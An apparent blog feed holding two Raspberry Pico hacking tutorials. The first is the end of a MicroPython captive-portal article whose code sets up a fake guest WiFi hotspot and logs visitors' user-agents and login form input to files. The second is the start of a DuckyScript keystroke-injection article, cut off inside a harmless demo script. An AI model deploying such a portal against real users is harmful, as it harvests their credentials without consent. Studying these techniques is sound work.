&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
  &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Attempt &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
          &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting captive portal ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;dns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Follow Up &amp;amp; Related Projects
&lt;/h2&gt;

&lt;p&gt;To improve this project, two aspects come to my mind. First, adding a SSL certificate to ensure an encrypted connection. The phew library itself has no support for certificates, but there is TLS support in MicroPython with the &lt;a href="https://docs.micropython.org/en/latest/library/ssl.html" rel="noopener noreferrer"&gt;SSL/TLS module&lt;/a&gt;. However, this would mean to rewrite the framework to support TLS as well. And the second aspect is to remove the DNS redirects once a client acknowledged the conditions on the landing page. However, this is also not a use case of the phew library.&lt;/p&gt;

&lt;p&gt;Exploring other projects, the idea to implement a captive portal with the Pico W gained some traction in the open-source community.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/mthorley/wifimanager-pico" rel="noopener noreferrer"&gt;Wifimanager Pico&lt;/a&gt;: A standalone GitHub project, it creates a captive portal with a clean UI. The first step is to define the designated WiFi network for which the captive portal stores its credentials. Upon first connection, it will scan all neighboring networks, and the user selects the target and enters the credentials. When the captive portal can connect to the target successfully, its credentials are stored. Then, all new devices that connect will get the stored credentials. It would be interesting to see if information stealing and man in the middle attacks could be realized.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/" rel="noopener noreferrer"&gt;PicoW Captive Portal&lt;/a&gt;: This guide contains valuable information about the specific behavior of clients regarding captive portal webpage URLs and expected status codes. It details how recent Android smartphones, iPhones, Windows and OsX laptops search a captive portal for their credentials. This article continues to implement a captive portal also using the phew project.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/simonprickett/phewap" rel="noopener noreferrer"&gt;phewAP&lt;/a&gt;: An example project using phew to implement a captive portal, showing other features such as how to access the Pico’s hardware to make the onboard LED blink when a button on a webpage is pressed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot typically encountered at Cafes or hotels. A portal uses HTTP and DNS redirects to emerge upon a landing page. Typically, personal information and acknowledgement of usage conditions is requested on this page, and when acknowledged by the user, full access to the internet is provided. This article showed how to implement a captive portal on the Raspberry Pico W Microcontroller. You learned how to setup the Pico with MicroPython and the phew library, saw how to implement HTTP routes that mimic a captive portal, and understood how to extract device metadata during connection attempts and store personal information that users enter on the landing page.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Terminal Text Injection and File Stealing</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 18 May 2026 03:52:36 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</guid>
      <description>&lt;p&gt;The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.&lt;/p&gt;

&lt;p&gt;In my previous article &lt;a href="https://admantium.com/blog/micro24_raspberry_pico_usb_hacking" rel="noopener noreferrer"&gt;USB Hacking Device Programming&lt;/a&gt;, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a &lt;a href="https://admantium.com/blog/micro25_raspberry_pico_ducky_script" rel="noopener noreferrer"&gt;concise language introduction&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And in this final article, practical exploits are developed. The exploits use the &lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;pico-ducky&lt;/a&gt; library, an interpreter for DuckyScript.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;pico-ducky commit #221e796&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro26_rasperry_pico_ducky_script_exploit/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploit 1: Terminal Text Injection
&lt;/h2&gt;

&lt;p&gt;The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated - as an attempt to gauge that the user is not present&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Waiting for a fixed amount of time&lt;/li&gt;
&lt;li&gt;Wait that no LED keys are pressed on the host&lt;/li&gt;
&lt;li&gt;Open a new terminal&lt;/li&gt;
&lt;li&gt;Inject a message &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;During implementation of this exploit, I learned the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A global variable cannot be used as an argument to the &lt;code&gt;DELAY&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;The commands to generate random characters and numbers, like &lt;code&gt;RANDOM_NUMBER&lt;/code&gt;, are not supported&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;WAIT_FOR_CAPS_OFF&lt;/code&gt; and similar commands are not processed, the script execution just continues&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;HOLD&lt;/code&gt; and &lt;code&gt;RELEASE&lt;/code&gt; commands work as normal keystrokes only&lt;/li&gt;
&lt;li&gt;Inserting a not supported command at the end of the script stops the script execution - my choice is simple a &lt;code&gt;STOPP&lt;/code&gt; on the last line&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a &lt;code&gt;.&lt;/code&gt; on the screen with a fixed delay.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;editor&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;

&lt;span class="n"&gt;FUNCTION&lt;/span&gt; &lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="n"&gt;World&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
    &lt;span class="n"&gt;VAR&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nc"&gt;WHILE &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;
